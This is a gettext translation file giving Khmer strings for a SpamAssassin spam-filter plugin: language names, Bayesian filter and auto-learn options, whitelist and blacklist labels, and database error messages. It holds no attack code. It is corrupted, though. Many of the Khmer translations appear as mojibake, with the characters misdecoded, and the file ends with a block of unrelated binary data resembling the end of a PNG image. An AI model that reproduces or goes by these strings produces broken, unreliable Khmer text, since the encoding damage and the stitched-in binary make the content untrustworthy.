msgstr "អáŸážŸáŸ’áž–áŸážšáŸ‰áž¶áž“់ážáž¼"

#: sa_opts-dist.php:130
msgid "Estonian"
msgstr "​​អáŸážŸáŸ’ážáž¼áž“ី"

#: sa_opts-dist.php:131
msgid "Finnish"
msgstr "ហ្វាំង​ឡង់"

#: sa_opts-dist.php:132
msgid "French"
msgstr "បារាំង"

#: sa_opts-dist.php:133
msgid "Frisian"
msgstr "ហ្វ្រីស៊ាន"

#: sa_opts-dist.php:134
msgid "Georgian"
msgstr "ហ្សក​ហ្ស៊ី"

#: sa_opts-dist.php:135
msgid "German"
msgstr "​​អា​ល្លឺម៉ង់"

#: sa_opts-dist.php:136
msgid "Greek"
msgstr "ក្រិក"

#: sa_opts-dist.php:137
msgid "Hebrew"
msgstr "áž áŸáž”្រ៊ូ"

#: sa_opts-dist.php:138
msgid "Hindi"
msgstr "ហិណ្ឌូ"

#: sa_opts-dist.php:139
msgid "Hungarian"
msgstr "​​ហុងគ្រី"

#: sa_opts-dist.php:140
msgid "Icelandic"
msgstr "អ៊ីស្លង់"

#: sa_opts-dist.php:141
msgid "Indonesian"
msgstr "ឥណ្ឌូនáŸážŸáŸŠáž¸"

#: sa_opts-dist.php:142
msgid "Irish Gaelic"
msgstr "អៀរឡង់ ហ្គាអáŸáž›áž·áž€"

#: sa_opts-dist.php:143
msgid "Italian"
msgstr "អ៊ីážáž¶áž›áž¸"

#: sa_opts-dist.php:144
msgid "Japanese"
msgstr "​ជប៉ុន"

#: sa_opts-dist.php:145
msgid "Korean"
msgstr "កូរ៉áŸâ€‹"

#: sa_opts-dist.php:146
msgid "Latin"
msgstr "ឡាទីន"

#: sa_opts-dist.php:147
msgid "Latvian"
msgstr "ឡាážážœáŸ€"

#: sa_opts-dist.php:148
msgid "Lithuanian"
msgstr "លីទុយអានី"

#: sa_opts-dist.php:149
msgid "Malay"
msgstr "ម៉ាឡៃ"

#: sa_opts-dist.php:150
msgid "Marathi"
msgstr "​​ម៉ារ៉ាធី"

#: sa_opts-dist.php:151
msgid "Nepali"
msgstr "áž“áŸáž”៉ាល់"

#: sa_opts-dist.php:152
msgid "Norwegian"
msgstr "áž“áŸážšážœáŸ‚ស"

#: sa_opts-dist.php:153
msgid "Persian"
msgstr "ពឺស៊ាន"

#: sa_opts-dist.php:154
msgid "Polish"
msgstr "​ប៉ូឡូញ"

#: sa_opts-dist.php:155
msgid "Portuguese"
msgstr "​ពáŸážšáž‘ុយហ្គាល់"

#: sa_opts-dist.php:156
msgid "Quechua"
msgstr "កáŸáž…្វា"

#: sa_opts-dist.php:157
msgid "Rhaeto-Romance"
msgstr "រ៉áŸážáž¼-រ៉ូម៉ាំង"

#: sa_opts-dist.php:158
msgid "Romanian"
msgstr "រ៉ូម៉ានី"

#: sa_opts-dist.php:159
msgid "Russian"
msgstr "រុស្ស៊ី"

#: sa_opts-dist.php:160
msgid "Sanskrit"
msgstr "​សំស្ក្រឹáž"

#: sa_opts-dist.php:161
msgid "Scots"
msgstr "ស្កុážážáŸ"

#: sa_opts-dist.php:162
msgid "Scottish Gaelic"
msgstr "ស្កុážáž›áŸ‚áž“ ហ្គាអáŸáž›áž·áž€"

#: sa_opts-dist.php:163
msgid "Serbian"
msgstr "ស៊ែប៊ី"

#: sa_opts-dist.php:164
msgid "Slovak"
msgstr "ស្លូវ៉ាគី"

#: sa_opts-dist.php:165
msgid "Slovenian"
msgstr "ស្លូវ៉ានី"

#: sa_opts-dist.php:166
msgid "Spanish"
msgstr "​អáŸážŸáŸ‰áŸ’បាញ"

#: sa_opts-dist.php:167
msgid "Swahili"
msgstr "ស្វាហ៊ីលី"

#: sa_opts-dist.php:168
msgid "Swedish"
msgstr "ស៊ុយអែដ"

#: sa_opts-dist.php:169
msgid "Tagalog"
msgstr "ážáž¶áž áŸ’គាឡូក"

#: sa_opts-dist.php:170
msgid "Tamil"
msgstr "ážáž¶áž˜áž¸áž›â€‹"

#: sa_opts-dist.php:171
msgid "Thai"
msgstr "ážáŸƒ"

#: sa_opts-dist.php:172
msgid "Turkish"
msgstr "ទួរគី"

#: sa_opts-dist.php:173
msgid "Ukrainian"
msgstr "​​​អ៊ុយក្រែន"

#: sa_opts-dist.php:174
msgid "Vietnamese"
msgstr "វៀážážŽáž¶áž˜"

#: sa_opts-dist.php:175
msgid "Welsh"
msgstr "​​​វែល"

#: sa_opts-dist.php:176
msgid "Yiddish"
msgstr "យីឌីហ្ស"

#. use_bayes
#: sa_opts-dist.php:179
msgid "Use Bayesian Filter"
msgstr "ប្រើ​ážáž˜áŸ’ážšáž„ Bayesian"

#: sa_opts-dist.php:180
msgid ""
"The Baysian Filter will learn what is spam and what isn't to become a better "
"filter."
msgstr "ážáž˜áŸ’ážšáž„ Baysian នឹង​ដឹង​ážáž¶â€‹áž¢áŸ’វី​ជា​សារ​ឥážáž”ាន​ការ និង​អ្វី​ដែល​មិនមែន ដើម្បី​ឲ្យ​ក្លាយ​ជា​ážáž˜áŸ’រង​ដែល​ល្អ​មួយ ។"

#. use_bayes_rules
#: sa_opts-dist.php:186
msgid "Use Bayesian Filter Rules"
msgstr "ប្រើ​ក្បួន​ážáž˜áŸ’ážšáž„ Bayesian"

#: sa_opts-dist.php:187
msgid ""
"Turning this off allows you do disable the Baysian Filter rules while still "
"training the filter."
msgstr "ការ​បិទ​វា អនុញ្ញាážâ€‹áž²áŸ’យ​អ្នក​បិទ​ក្បួន​ážáž˜áŸ’ážšáž„ Baysian នៅពáŸáž›â€‹â€‹áž áŸ’វឹកហាážáŸ‹â€‹ážáž˜áŸ’រង ។"

#. auto_learn
#: sa_opts-dist.php:193
msgid "Auto-learn"
msgstr "សិក្សា​ស្វáŸáž™áž”្រវážáŸ’ážáž·"

#: sa_opts-dist.php:194
msgid ""
"Automatically feed high and low scoring mails into SpamAssassin's learning "
"systems. (Currently, only Bayesian filtering is supported.)"
msgstr "ផ្ដល់​នូវ​សំបុážáŸ’រ​ពិន្ទុ​ទាប និង​ážáŸ’ពស់​ទៅ​ក្នុង​ប្រពáŸáž“្ធ​សិក្សា SpamAssassin ។ (បច្ចុប្បន្ន មាន​ážáŸ‚​ážáž˜áŸ’ážšáž„ Bayesian ប៉ុណ្ណោះ​ដែល​ážáŸ’រូវ​បាន​គាំទ្រ ។)"

#. report_safe
#: sa_opts-dist.php:200
msgid "Spam Encapsulation"
msgstr "ការ​ស្រោប​សារ​ឥážáž”ាន​ការ"

#: sa_opts-dist.php:201
msgid ""
"Encapsulate spam messages into a MIME or plain-text attachment, or you can "
"disable it altogether."
msgstr "ស្រោប​សារ​ឥážáž”ាន​ការ​ទៅ​ក្នុង MIME ឬ​ឯកសារ​ភ្ជាប់​អážáŸ’ážáž”ទ​ធម្មážáž¶ ឬ​អ្នក​អាច​បិទ​វា​ជាមួយ​គ្នា ។"

#: sa_opts-dist.php:203
msgid "Disabled"
msgstr "បិទ"

#: sa_opts-dist.php:204
msgid "MIME Attachment"
msgstr "ឯកសារ​ភ្ជាប់ MIME"

#: sa_opts-dist.php:205
msgid "Text Attachment"
msgstr "ឯកសារ​ភ្ជាប់​អážáŸ’ážáž”áž‘"

#. These options were removed as of SpamAssassin 2.50-ish
#. They are here for those running older versions of SA.
#. report_header
#: sa_opts-dist.php:212
msgid "Report in Header"
msgstr "រាយការណáŸâ€‹áž€áŸ’នុង​បឋមកážáž¶"

#: sa_opts-dist.php:213
msgid ""
"SpamAssassin will create a report when it determines an e-mail message to be "
"spam.  This report is normally prepended to the e-mail message.  To have the "
"report written as part of the e-mail header, select this option."
msgstr "SpamAssassin នឹង​បង្កើážâ€‹ážšáž”ាយការណ០នៅពáŸáž›â€‹ážŠáŸ‚ល​វា​ចាážáŸ‹áž‘ុក​អ៊ីមែល​ážáž¶â€‹áž‡áž¶ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ ។ របាយការណáŸâ€‹áž“áŸáŸ‡â€‹ážáŸ’រូវបាន​បន្ážáŸ‚ម​នៅ​ážáž¶áž„​ដើម​​សារ​អ៊ីមែល​ ។ ដើម្បី​សរសáŸážšâ€‹ážšáž”ាយការនáŸâ€‹áž‡áž¶â€‹áž•្នែក​របស់​បឋមកážáž¶â€‹áž¢áŸŠáž¸áž˜áŸ‚áž› សូម​ជ្រើស​ជម្រើស​នáŸáŸ‡Â áŸ”"

#. defang_mime
#: sa_opts-dist.php:219
msgid "Reformat HTML Spam"
msgstr "ធ្វើ​ទ្រង់ទ្រាយ​សារ​ឥážáž”ាន​ការ HTML ឡើងវិញ"

#: sa_opts-dist.php:220
msgid ""
"When an e-mail in HTML format is determined to be spam, SpamAssassin can "
"convert the message to text. To allow this, select this option."
msgstr "នៅពáŸáž›â€‹ážŠáŸ‚ល​​បាន​គិážâ€‹ážáž¶â€‹áž‘្រង់ទ្រាយ​អ៊ីមែល HTML មួយ​គឺ​ជា​សារ​ឥážáž”ាន​ការ នោះ SpamAssassin អាច​បម្លែង​សារ​ទៅ​ជា​អážáŸ’ážáž”ទ ។ ដើម្បី​អនុញ្ញាážâ€‹ážŠáž¼áž…​នោះ គឺ​ážáŸ’រូវ​ជ្រើស​ជម្រើស​នáŸáŸ‡Â áŸ”"

#. White/black list info
#: sa_opts-dist.php:250
msgid "Whitelist From"
msgstr "បញ្ជី​ស​ពី"

#: sa_opts-dist.php:251
msgid ""
"E-mail from these addresses will not be marked as spam. You may use '*' as a "
"wildcard to allow a large number of addresses at one time. E.g. Whitelist "
"From '*@aol.com' will not mark any message that claims to be from aol.com as "
"spam."
msgstr "អ៊ីមែល​ដែល​បាន​មក​ពី​អាសយដ្ឋាន​ទាំងនáŸáŸ‡ នឹង​មិនážáŸ’រូវបាន​សម្គាល់​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážâ€‹áž”ាន​ការ​ទáŸÂ áŸ” អ្នក​អាច​ប្រើ '*' ជា​ážáž½áž¢áž€áŸ’សរ​ជំនួស ដើម្បី​អនុញ្ញាážâ€‹áž²áŸ’យ​ទទួល​អាសយដ្ឋាន​ច្រើន​ក្នុង​ពáŸáž›â€‹ážáŸ‚​មួយ ។ áž§. ដាក់​បញ្ជី​ស​ពី '*@aol.com' នឹង​មិន​សម្គាល់​សារ​ដែល​បាន​មក​ពី aol.com ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážâ€‹áž”ាន​ការ​នោះ​ទáŸÂ áŸ”"

#: sa_opts-dist.php:253
msgid "Don't Whitelist From"
msgstr "កុំ​ដាក់​បញ្ជី​ស​ពី"

#: sa_opts-dist.php:254
msgid ""
"This address will be excluded from a previous whitelist and will be treated "
"as a normal address, i.e. it will not be automatically allowed."
msgstr "អាសយដ្ឋាន​នáŸáŸ‡ នឹងមិនážáŸ’រូវ​បាន​រួមបញ្ចូល​ពី​បញ្ជី​ស​មុន​ទ០និង​មិនážáŸ’រូវបាន​ចាážáŸ‹áž‘ុក​ážáž¶â€‹áž‡áž¶â€‹áž¢áž¶ážŸáž™ážŠáŸ’ឋាន​ធម្មážáž¶â€‹áž‘០មាននáŸáž™ážáž¶â€‹ážœáž¶â€‹áž“ឹង​មិន​ážáŸ’រូវបាន​អនុញ្ញាážâ€‹ážŠáŸ„យ​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹áž‘áŸÂ áŸ”"

#: sa_opts-dist.php:256
msgid "Blacklist From"
msgstr "ដាក់​បញ្ជី​ážáŸ’មៅ​ពី"

#: sa_opts-dist.php:257
msgid ""
"E-mail from these addresses will always be marked as spam. You may use '*' "
"as a wildcard to block a large number of addresses at one time. E.g. "
"Blacklist From '*@aol.com' will mark all messages that claims to be from aol."
"com as spam."
msgstr "អ៊ីមែល​ពី​អាសយដ្ឋាន​នáŸáŸ‡â€‹áž“ឹង​ážáŸ’រូវបាន​សម្គាល់​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ​ជានិច្ច ។ អ្នក​អាច​ប្រើ '*' ជា​ážáž½áž¢áž€áŸ’សរ​ជំនួស​បាន ដើម្បី​ទប់ស្កាážáŸ‹â€‹áž…ំនួន​អាសយដ្ឋាន​ច្រើន​ក្នុង​ពáŸáž›â€‹ážáŸ‚​មួយ ។ áž§. ដាក់​បញ្ជី​ážáŸ’មៅ​ពី '*@aol.com' នឹង​សម្គាល់​សារ​ទាំងអស់់​ដែល​បាន​មក​ពី aol.com ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážâ€‹áž”ាន​ការ ។"

#: sa_opts-dist.php:259
msgid "Don't Blacklist From"
msgstr "កុំ​ដាក់​បញ្ជី​ážáŸ’មៅ​ពី"

#: sa_opts-dist.php:260
msgid ""
"This address will be excluded from a previous blacklist and will be treated "
"as a normal address, i.e. it will not be automatically denied."
msgstr "អាសយដ្ឋាន​នáŸáŸ‡â€‹áž“ឹង​មិន​ážáŸ’រូវ​បាន​រួមបញ្ចូល​ពី​បញ្ជី​ážáŸ’មៅ​មុនទ០ហើយ​នឹង​ážáŸ’រូវបាន​ចាážáŸ‹â€‹áž‘ុក​ážáž¶â€‹áž‡áž¶â€‹áž¢áž¶ážŸáž™ážŠáŸ’ឋាន​ធម្មážáž¶ មាននáŸáž™ážáž¶â€‹ážœáž¶â€‹áž“ឹង​មិន​ážáŸ’រូវ​បាន​បដិសáŸáž’​ដោយ​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹áž“ោះ​ទáŸÂ áŸ”"

#: sa_opts-dist.php:262
msgid "Whitelist To"
msgstr "ដាក់​បញ្ជី​ស​ទៅ"

#: sa_opts-dist.php:263
msgid ""
"E-mail to these addresses will not be marked as spam. This is useful for "
"allowing e-mail lists. For example, you can allow all messages from an e-"
"mail list that sends to 'Tofu-Support-List@beeflovers.com'. You may use '*' "
"as a wildcard to allow a large number of addresses at one time. E.g. "
"Whitelist To '*@aol.com' will not mark any message that claims to be to aol."
"com as spam."
msgstr ""
"អ៊ីមែល​ទៅកាន់​អាសយដ្ឋាន​ទាំង​នáŸáŸ‡â€‹áž“ឹង​មិន​ážáŸ’រូវ​បាន​សម្គាល់​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ​នោះ​ទáŸÂ áŸ” វា​មាន​ប្រយោជនáŸâ€‹ážŸáž˜áŸ’រាប់​ការ​អនុញ្ញាážâ€‹áž”ញ្ជី​អ៊ីមែល ។ ឧទាហរណ០អ្នក​អាច​អនុញ្ញាážâ€‹â€‹ážŸáž¶ážšâ€‹áž‘ាំងអស់​ពី​បញ្ជី​អ៊ីមែល​ដែល​ផ្ញើ​ទៅកាន់ 'Tofu-Support-List@beeflovers.com' ។ អ្នក​អាច​ប្រើ '*' ជា​ážáž½áž¢áž€áŸ’សរ​ជំនួស ដើម្បី​អនុញ្ញាážâ€‹áž¢áž¶ážŸáž™ážŠáŸ’ឋាន​ច្រើន​ក្នុង​ពáŸáž›â€‹ážáŸ‚​មួយ​បាន ។ ឧទាហរណ០ចុះ​បញ្ជី​ស​ទៅ '*@aol.com' នឹង​មិន​សម្គាល់​សារ​ដែល​ផ្ញើ​ទៅកាន់ aol."
"com ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážáž”ាន​ការ​ទáŸÂ áŸ”"

#: sa_opts-dist.php:265
msgid "Blacklist To"
msgstr "ដាក់​បញ្ជី​ážáŸ’មៅ​ទៅ"

#: sa_opts-dist.php:266
msgid ""
"E-mail to these addresses will be marked as spam. You may use '*' as a "
"wildcard to reject a large number of addresses at one time. E.g. Blacklist "
"To '*@aol.com' will mark all messages that claims to be to aol.com as spam."
msgstr "អ៊ីមែល​ទៅកាន់​អាសយដ្ឋាន​ទាំង​នáŸáŸ‡ នឹង​ážáŸ’រូវ​បាន​សម្គាល់​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážâ€‹áž”ាន​ការ ។ អ្នក​អាច​ប្រើ '*' ជា​ážáž½áž¢áž€áŸ’សរ​ជំនួស ដើម្បី​បដិសáŸáž’​ចំនួន​អាសយដ្ឋាន​ច្រើន​ក្នុង​ពáŸáž›â€‹ážáŸ‚​មួយ ។ ឧទាហរណ០ដាក់​បញ្ជី​ážáŸ’មៅ​ទៅ '*@aol.com' នឹង​សម្គាល់​សារ​ទាំងអស់​ដែល​ផ្ញើ​ទៅកាន់ aol.com ជា​សារ​ឥážâ€‹áž”ាន​ការ ។"

#: sa_settings.inc.php:114
msgid "General Settings"
msgstr "ការកំណážáŸ‹â€‹áž‘ូទៅ"

#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: sasql_db.php:308
#, php-format
msgid "Database error: %s"
msgstr "កំហុស​មូលដ្ឋាន​ទិន្ននáŸáž™Â áŸ– %s"

#: sasql_db.php:366
#, php-format
msgid "sasql_AddPref_multiple Database error: %s"
msgstr "កំហុស​មូលដ្ឋាន​ទិន្ននáŸáž™ sasql_AddPref_multiple ៖ %s"

#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: sasql_db.php:443
#, php-format
msgid "Database error %s: %s"
msgstr "កំហុស​មូលដ្ឋាន​ទិន្ននáŸáž™ %s ៖ %s"

#: sasql_hooks.php:111 sasql_options.php:62
msgid "Spam Filters"
msgstr "ážáž˜áŸ’រង​សារ​ឥážâ€‹áž”ាន​ការ"

#: sasql_hooks.php:113
msgid "Configure the behavior of your spam filters."
msgstr "កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​ឥរិយាបទ​ážáž˜áŸ’រង​សារ​ឥážâ€‹áž”ាន​ការ​របស់​អ្នក ។"

#: sasql_hooks.php:209
msgid "Add Email to Whitelist"
msgstr "បន្ážáŸ‚ម​អ៊ីមែល​ទៅ​បញ្ជី​ស"

#: sasql_hooks.php:210 sasql_hooks.php:280
msgid "Allow Sender"
msgstr "អនុញ្ញាážâ€‹áž¢áŸ’នក​ផ្ញើ"

#: sasql_hooks.php:211
msgid "Add Domain to Whitelist"
msgstr "បន្ážáŸ‚ម​ដែន​ទៅ​បញ្ជី​ស"

#: sasql_hooks.php:212
msgid "Allow Domain"
msgstr "អនុញ្ញាážâ€‹ážŠáŸ‚áž“"

#: sasql_hooks.php:213
msgid "Remove Email from Whitelist"
msgstr "យក​អ៊ីមែល​ចáŸáž‰â€‹áž–ី​បញ្ជី​ស"

#: sasql_hooks.php:214 sasql_hooks.php:216 sasql_hooks.php:223
#: sasql_hooks.php:225
msgid "remove"
msgstr "យកចáŸáž‰"

#: sasql_hooks.php:215
msgid "Remove Domain from Whitelist"
msgstr "យកដែន​ចáŸáž‰â€‹áž–ី​បញ្ជី​ស"

#: sasql_hooks.php:218
msgid "Add Email to Blacklist"
msgstr "បន្ážáŸ‚ម​អ៊ីមែល​ទៅ​បញ្ជី​ážáŸ’មៅ"

#: sasql_hooks.php:219
msgid "Block Sender"
msgstr "ទប់ស្កាážáŸ‹â€‹áž¢áŸ’នកផ្ញើ"

#: sasql_hooks.php:220
msgid "Add Domain to Blacklist"
msgstr "បន្ážáŸ‚ម​ដែន​ទៅ​បញ្ជី​ážáŸ’មៅ"

#: sasql_hooks.php:221
msgid "Block Domain"
msgstr "ទប់ស្កាážáŸ‹â€‹ážŠáŸ‚áž“"

#: sasql_hooks.php:222
msgid "Remove Email from Blacklist"
msgstr "យកអ៊ីមែលចáŸáž‰â€‹áž–ី​បញ្ជី​ážáŸ’មៅ"

#: sasql_hooks.php:224
msgid "Remove Domain from Blacklist"
msgstr "យក​ដែន​ចáŸáž‰â€‹áž–ី​បញ្ជី​ážáŸ’មៅ"

#: sasql_hooks.php:231
msgid "Address is already in your whitelist"
msgstr "អាសយដ្ឋាន​​គឺ​ស្ážáž·ážâ€‹áž“ៅ​ក្នុង​បញ្ជី​ស​រួចជា​ស្រáŸáž…​ហើយ"

#: sasql_hooks.php:232 sasql_hooks.php:240
msgid "Whitelisted"
msgstr "បាន​ដាក់​ក្នុង​បញ្ជី​ស"

#: sasql_hooks.php:239
msgid "Domain is already in your whitelist"
msgstr "ដែន​គឺ​ស្ážáž·ážâ€‹áž“ៅ​ក្នុង​បញ្ជី​ស​របស់​អ្នក​រួចហើយ"

#: sasql_hooks.php:253
msgid "Address is already in your blacklist"
msgstr "អាសយដ្ឋាន​គឺ​ស្ážáž·ážâ€‹áž“ៅ​ក្នុង​បញ្ជី​ážáŸ’មៅ​របស់​អ្នក​រួចហើយ"

#: sasql_hooks.php:254 sasql_hooks.php:262
msgid "Blacklisted"
msgstr "បាន​ដាក់​ក្នុង​បញ្ជី​ážáŸ’មៅ"

#: sasql_hooks.php:261
msgid "Domain is already in your blacklist"
msgstr "ដែន​គឺ​ស្ážáž·ážâ€‹áž“ៅ​ក្នុង​បញ្ជី​ážáŸ’មៅ​របស់​អ្នក​រួចហើយ"

#: sasql_hooks.php:311 sasql_hooks.php:369
msgid "Learn as False Positive"
msgstr "ដឹង​ážáž¶â€‹áž‡áž¶ False Positive"

#: sasql_hooks.php:315 sasql_hooks.php:373
msgid "Learn as Spam"
msgstr "ដឹង​ážáž¶â€‹áž‡áž¶â€‹ážŸáž¶ážšâ€‹áž¥ážâ€‹áž”ាន​ការ"

#: sasql_options.php:62
msgid "Options"
msgstr "ជម្រើស"

#: sasql_wblist.php:41 sa_whitelist.inc.php:43
msgid "Error: You must include an e-mail address."
msgstr "កំហុស ៖ អ្នក​ážáŸ’រូវ​ážáŸ‚​រួមបញ្ចូល​អាសយដ្ឋាន​អ៊ីមែល ។"

#: sasql_wblist.php:48 sa_whitelist.inc.php:49
msgid "Error: You have entered an invalid e-mail address."
msgstr "កំហុស ៖ អ្នក​បាន​បញ្ចូល​អាសយដ្ឋាន​អ៊ីមែល​មិនážáŸ’រឹមážáŸ’រូវ ។"

#: sasql_wblist.php:53
msgid "Error: Missing option."
msgstr "កំហុស ៖ បាážáŸ‹â€‹áž‡áž˜áŸ’រើស ។"

#: sa_whitelist.inc.php:53
msgid "Error: You must select Allow or Deny."
msgstr "កំហុស ៖ អ្នក​ážáŸ’រូវ​ážáŸ‚​ជ្រើស​អនុញ្ញាហឬ​បដិសáŸáž’ ។"

#: sa_whitelist.inc.php:76
msgid "Global Allow / Deny Address List"
msgstr "បញ្ជី​អាសយដ្ឋាន​អនុញ្ញាហ/ បដិសáŸáž’​សកល"

#: sa_whitelist.inc.php:83 sa_whitelist.inc.php:125
msgid "Address"
msgstr "អាសយដ្ឋាន"

#: sa_whitelist.inc.php:84 sa_whitelist.inc.php:126
msgid "Type"
msgstr "ប្រភáŸáž‘"

#: sa_whitelist.inc.php:118
msgid "Personal Allow / Deny Address List"
msgstr "បញ្ជី​អាសយដ្ឋាន​អនុញ្ញាហ/ បដិសáŸáž’​ផ្ទាល់ážáŸ’លួន"

#: sa_whitelist.inc.php:127
msgid "Action"
msgstr "អំពើ"

#: sa_whitelist.inc.php:134
msgid "Address Removed"
msgstr "បាន​យក​សៀវភៅ​អាសយដ្ឋាន​ចáŸáž‰"

#: sa_whitelist.inc.php:160
#, php-format
msgid "Unknown option: %s"
msgstr "ជម្រើស​មិន​ស្គាល់ ៖ %s"

#: sa_whitelist.inc.php:168
msgid "Delete"
msgstr "លុប"

#: sa_whitelist.inc.php:174
msgid "Edit"
msgstr "កែសម្រួល"

#. echo $edit;
#: sa_whitelist.inc.php:188
msgid "Edit Address"
msgstr "កែសម្រួល​អាសយដ្ឋាន"

#: sa_whitelist.inc.php:194
msgid "Add New Address"
msgstr "បន្ážáŸ‚ម​អាសយដ្ឋាន​ážáŸ’មី"

#: sa_whitelist.inc.php:220
msgid "Address:"
msgstr "អាសយដ្ឋាន ៖"

#: sa_whitelist.inc.php:224
msgid "Type:"
msgstr "ប្រភáŸáž‘ ៖"

#. End Form
#. Help
#: sa_whitelist.inc.php:245
msgid "Legend"
msgstr "ážáž¶áž„"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚